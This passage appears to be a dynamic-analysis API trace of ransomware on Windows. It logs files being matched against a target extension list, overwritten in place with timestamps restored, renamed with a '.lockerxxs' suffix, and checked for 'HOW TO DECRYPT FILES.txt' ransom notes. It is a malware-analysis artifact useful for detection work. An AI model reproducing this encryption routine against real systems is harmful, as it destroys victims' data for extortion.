Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG.lockerxxs" [0065.582] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\taboff.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.584] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9b6 [0065.584] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb5b7f600, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x5aca0270, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb5b7f600, dwHighDateTime=0x1c747ea)) returned 1 [0065.584] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.584] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x990, lpOverlapped=0x0) returned 1 [0065.586] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG") returned="TABOFF.JPG" [0065.586] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.586] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x990, lpOverlapped=0x0) returned 1 [0065.587] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.587] CloseHandle (hObject=0x98) returned 1 [0065.596] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\taboff.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\taboff.jpg.lockerxxs")) returned 1 [0065.597] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9ef, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="TABON.JPG", cAlternateFileName="")) returned 1 [0065.597] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.597] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TABON.JPG") returned -1 [0065.597] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TABON.JPG") returned -1 [0065.597] lstrcmpiA (lpString1="", lpString2="TABON.JPG") returned -1 [0065.597] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG") returned="TABOFF.JPG" [0065.597] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.597] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.597] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.598] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.598] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="TABON.JPG" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG" [0065.598] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.ems") returned 0 [0065.598] lstrlenA (lpString="*.ems") returned 5 [0065.598] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.db") returned 0 [0065.598] lstrlenA (lpString="*.db") returned 4 [0065.598] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.dbf") returned 0 [0065.598] lstrlenA (lpString="*.dbf") returned 5 [0065.598] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.myox") returned 0 [0065.598] lstrlenA (lpString="*.myox") returned 6 [0065.598] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.myo") returned 0 [0065.598] lstrlenA (lpString="*.myo") returned 5 [0065.598] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.qbw") returned 0 [0065.598] lstrlenA (lpString="*.qbw") returned 5 [0065.598] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.qbb") returned 0 [0065.598] lstrlenA (lpString="*.qbb") returned 5 [0065.598] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.qbm") returned 0 [0065.598] lstrlenA (lpString="*.qbm") returned 5 [0065.598] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.qbo") returned 0 [0065.598] lstrlenA (lpString="*.qbo") returned 5 [0065.598] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.qbx") returned 0 [0065.598] lstrlenA (lpString="*.qbx") returned 5 [0065.599] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.qba") returned 0 [0065.599] lstrlenA (lpString="*.qba") returned 5 [0065.599] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.qby") returned 0 [0065.599] lstrlenA (lpString="*.qby") returned 5 [0065.599] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.qbj") returned 0 [0065.599] lstrlenA (lpString="*.qbj") returned 5 [0065.599] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.ofx") returned 0 [0065.599] lstrlenA (lpString="*.ofx") returned 5 [0065.599] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.qif") returned 0 [0065.599] lstrlenA (lpString="*.qif") returned 5 [0065.599] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.mye") returned 0 [0065.599] lstrlenA (lpString="*.mye") returned 5 [0065.599] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.mbox") returned 0 [0065.599] lstrlenA (lpString="*.mbox") returned 6 [0065.599] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.eml") returned 0 [0065.599] lstrlenA (lpString="*.eml") returned 5 [0065.599] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.pst") returned 0 [0065.599] lstrlenA (lpString="*.pst") returned 5 [0065.599] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.ost") returned 0 [0065.599] lstrlenA (lpString="*.ost") returned 5 [0065.599] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.idx") returned 0 [0065.599] lstrlenA (lpString="*.idx") returned 5 [0065.599] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.dbx") returned 0 [0065.600] lstrlenA (lpString="*.dbx") returned 5 [0065.600] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.sql") returned 0 [0065.600] lstrlenA (lpString="*.sql") returned 5 [0065.600] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.mdb") returned 0 [0065.600] lstrlenA (lpString="*.mdb") returned 5 [0065.600] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.fdb") returned 0 [0065.600] lstrlenA (lpString="*.fdb") returned 5 [0065.600] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.wab") returned 0 [0065.600] lstrlenA (lpString="*.wab") returned 5 [0065.600] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.dat") returned 0 [0065.600] lstrlenA (lpString="*.dat") returned 5 [0065.600] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.txt") returned 0 [0065.600] lstrlenA (lpString="*.txt") returned 5 [0065.600] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.jpeg") returned 0 [0065.600] lstrlenA (lpString="*.jpeg") returned 6 [0065.600] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", pszSpec="*.jpg") returned 1 [0065.600] lstrlenA (lpString="*.jpg") returned 5 [0065.600] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG" [0065.600] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG" [0065.600] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG." [0065.600] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG.lockerxxs" [0065.601] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabon.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.602] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9ef [0065.602] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb5b7f600, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x6d43ce90, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb5b7f600, dwHighDateTime=0x1c747ea)) returned 1 [0065.602] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.602] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x9c9, lpOverlapped=0x0) returned 1 [0065.604] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG") returned="TABON.JPG" [0065.605] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.605] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x9c9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x9c9, lpOverlapped=0x0) returned 1 [0065.605] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.605] CloseHandle (hObject=0x98) returned 1 [0065.606] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabon.jpg.lockerxxs")) returned 1 [0065.607] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdff, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="WHITEBOX.JPG", cAlternateFileName="")) returned 1 [0065.607] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.607] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WHITEBOX.JPG") returned -1 [0065.607] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WHITEBOX.JPG") returned -1 [0065.608] lstrcmpiA (lpString1="", lpString2="WHITEBOX.JPG") returned -1 [0065.608] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG") returned="TABON.JPG" [0065.608] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.608] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.608] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.608] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.608] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="WHITEBOX.JPG" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG" [0065.608] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.ems") returned 0 [0065.608] lstrlenA (lpString="*.ems") returned 5 [0065.608] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.db") returned 0 [0065.609] lstrlenA (lpString="*.db") returned 4 [0065.609] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.dbf") returned 0 [0065.609] lstrlenA (lpString="*.dbf") returned 5 [0065.609] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.myox") returned 0 [0065.609] lstrlenA (lpString="*.myox") returned 6 [0065.609] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.myo") returned 0 [0065.609] lstrlenA (lpString="*.myo") returned 5 [0065.609] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.qbw") returned 0 [0065.609] lstrlenA (lpString="*.qbw") returned 5 [0065.609] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.qbb") returned 0 [0065.609] lstrlenA (lpString="*.qbb") returned 5 [0065.609] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.qbm") returned 0 [0065.610] lstrlenA (lpString="*.qbm") returned 5 [0065.610] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.qbo") returned 0 [0065.610] lstrlenA (lpString="*.qbo") returned 5 [0065.610] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.qbx") returned 0 [0065.610] lstrlenA (lpString="*.qbx") returned 5 [0065.610] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.qba") returned 0 [0065.610] lstrlenA (lpString="*.qba") returned 5 [0065.610] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.qby") returned 0 [0065.610] lstrlenA (lpString="*.qby") returned 5 [0065.610] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.qbj") returned 0 [0065.610] lstrlenA (lpString="*.qbj") returned 5 [0065.611] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.ofx") returned 0 [0065.611] lstrlenA (lpString="*.ofx") returned 5 [0065.611] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.qif") returned 0 [0065.611] lstrlenA (lpString="*.qif") returned 5 [0065.611] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.mye") returned 0 [0065.611] lstrlenA (lpString="*.mye") returned 5 [0065.611] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.mbox") returned 0 [0065.611] lstrlenA (lpString="*.mbox") returned 6 [0065.611] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.eml") returned 0 [0065.611] lstrlenA (lpString="*.eml") returned 5 [0065.611] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.pst") returned 0 [0065.612] lstrlenA (lpString="*.pst") returned 5 [0065.612] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.ost") returned 0 [0065.612] lstrlenA (lpString="*.ost") returned 5 [0065.612] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.idx") returned 0 [0065.612] lstrlenA (lpString="*.idx") returned 5 [0065.612] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.dbx") returned 0 [0065.612] lstrlenA (lpString="*.dbx") returned 5 [0065.612] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.sql") returned 0 [0065.612] lstrlenA (lpString="*.sql") returned 5 [0065.612] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.mdb") returned 0 [0065.612] lstrlenA (lpString="*.mdb") returned 5 [0065.612] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.fdb") returned 0 [0065.612] lstrlenA (lpString="*.fdb") returned 5 [0065.613] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.wab") returned 0 [0065.613] lstrlenA (lpString="*.wab") returned 5 [0065.613] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.dat") returned 0 [0065.613] lstrlenA (lpString="*.dat") returned 5 [0065.613] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.txt") returned 0 [0065.613] lstrlenA (lpString="*.txt") returned 5 [0065.613] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.jpeg") returned 0 [0065.613] lstrlenA (lpString="*.jpeg") returned 6 [0065.613] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WHITEBOX.JPG", pszSpec="*.jpg") returned 1 